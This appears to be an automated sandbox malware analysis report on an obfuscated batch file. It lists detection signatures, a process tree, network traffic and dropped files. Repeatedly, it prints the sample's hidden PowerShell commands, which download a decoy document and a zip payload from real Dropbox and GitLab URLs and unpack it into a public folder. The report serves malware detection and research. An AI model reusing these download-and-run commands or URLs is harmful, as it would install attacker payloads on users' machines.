Edit tour

Windows Analysis Report
bose18mkt.bat

Overview

General Information

Sample name:	bose18mkt.bat
Analysis ID:	1557468
MD5:	ccce37c579c4f225b198a1eb1196f796
SHA1:	ce57b315368d5223ec3fd73a9a9c4598e75e540b
SHA256:	da1dcfddf73d5af2b89ac746ce427dd2d430664c319ebc96a32d313a144a275c
Tags:	batBraodouser-JAMESWT_MHT
Infos:

Detection

Abobus Obfuscator

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Abobus Obfuscator

Yara detected Powershell download and execute

Powershell drops PE file

Sigma detected: PowerShell DownloadFile

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Tries to download and execute files (via powershell)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 5136 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\bose18mkt.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 6856 cmdline: chcp.com 437 MD5: 33395C4732A49065EA72590B14B64F32)

find.exe (PID: 5480 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

findstr.exe (PID: 7116 cmdline: fIndstr /L /I set "C:\Users\user\Desktop\bose18mkt.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 5780 cmdline: fIndstr /L /I goto "C:\Users\user\Desktop\bose18mkt.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 6128 cmdline: fIndstr /L /I echo "C:\Users\user\Desktop\bose18mkt.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 5492 cmdline: fIndstr /L /I pause "C:\Users\user\Desktop\bose18mkt.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

find.exe (PID: 4476 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 3784 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 6884 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 1500 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3556 cmdline: powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx'" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 1824 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/bose1511/mkt1511/-/raw/main/18Fukrun.zip', 'C:\Users\Public\Document.zip')" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3372 cmdline: powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
bose18mkt.bat	JoeSecurity_AbobusObfuscator	Yara detected Abobus Obfuscator	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 1500	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 1824	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_1500.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_1824.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\bose18mkt.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5136, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", ProcessId: 1500, ProcessName: powershell.exe

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3372, TargetFilename: C:\Users\Public\Document\Lib\ctypes\macholib\fetch_macholib.bat

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\bose18mkt.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5136, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", ProcessId: 1500, ProcessName: powershell.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1824, TargetFilename: C:\Users\Public\Document.zip

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3372, TargetFilename: C:\Users\Public\Document\python.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\bose18mkt.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5136, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", ProcessId: 1500, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\bose18mkt.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5136, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", ProcessId: 1500, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\bose18mkt.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5136, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", ProcessId: 1500, ProcessName: powershell.exe

Source: unknown	HTTPS traffic detected: 162.125.66.18:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.9:49709 version: TLS 1.2

Source:	Binary string: ystem.Core.pdb source: powershell.exe, 0000000C.00000002.1560126249.00000213ED190000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *.pdbo4kPl source: powershell.exe, 0000000C.00000002.1541193035.00000213D4F60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Qtem.pdb source: powershell.exe, 0000000C.00000002.1560126249.00000213ED190000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbB* source: powershell.exe, 0000000C.00000002.1541193035.00000213D5006000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbonicdL source: powershell.exe, 0000000C.00000002.1560126249.00000213ED1CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbP source: powershell.exe, 0000000C.00000002.1560126249.00000213ED190000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 0000000C.00000002.1560126249.00000213ED1CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32# source: powershell.exe, 0000000C.00000002.1541193035.00000213D4F89000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 56ad364e35\System.Management.Automation.pdbF source: powershell.exe, 0000000C.00000002.1560126249.00000213ED190000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *n.pdb source: powershell.exe, 0000000C.00000002.1541193035.00000213D5006000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ows\dll\System.Core.pdbE source: powershell.exe, 0000000C.00000002.1560126249.00000213ED190000.00000004.00000020.00020000.00000000.sdmp

Source: global traffic	HTTP traffic detected: GET /scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bose1511/mkt1511/-/raw/main/18Fukrun.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.65.251.78 172.65.251.78
Source: Joe Sandbox View	IP Address: 162.125.66.18 162.125.66.18

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ,Policy: frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; img-src https:// data: blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; media-src https:// blob: ; base-uri 'self' ; font-src https://* data: ; frame-ancestors 'self' https://.dropbox.com ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/ https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: api-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; img-src https:// data: blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; media-src https:// blob: ; base-uri 'self' ; font-src https://* data: ; frame-ancestors 'self' https://.dropbox.com ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/ https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; img-src https:// data: blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; media-src https:// blob: ; base-uri 'self' ; font-src https://* data: ; frame-ancestors 'self' https://.dropbox.com ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/ https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: gitlab.com
Source: global traffic	DNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_blowfish.pyd	Jump to dropped file
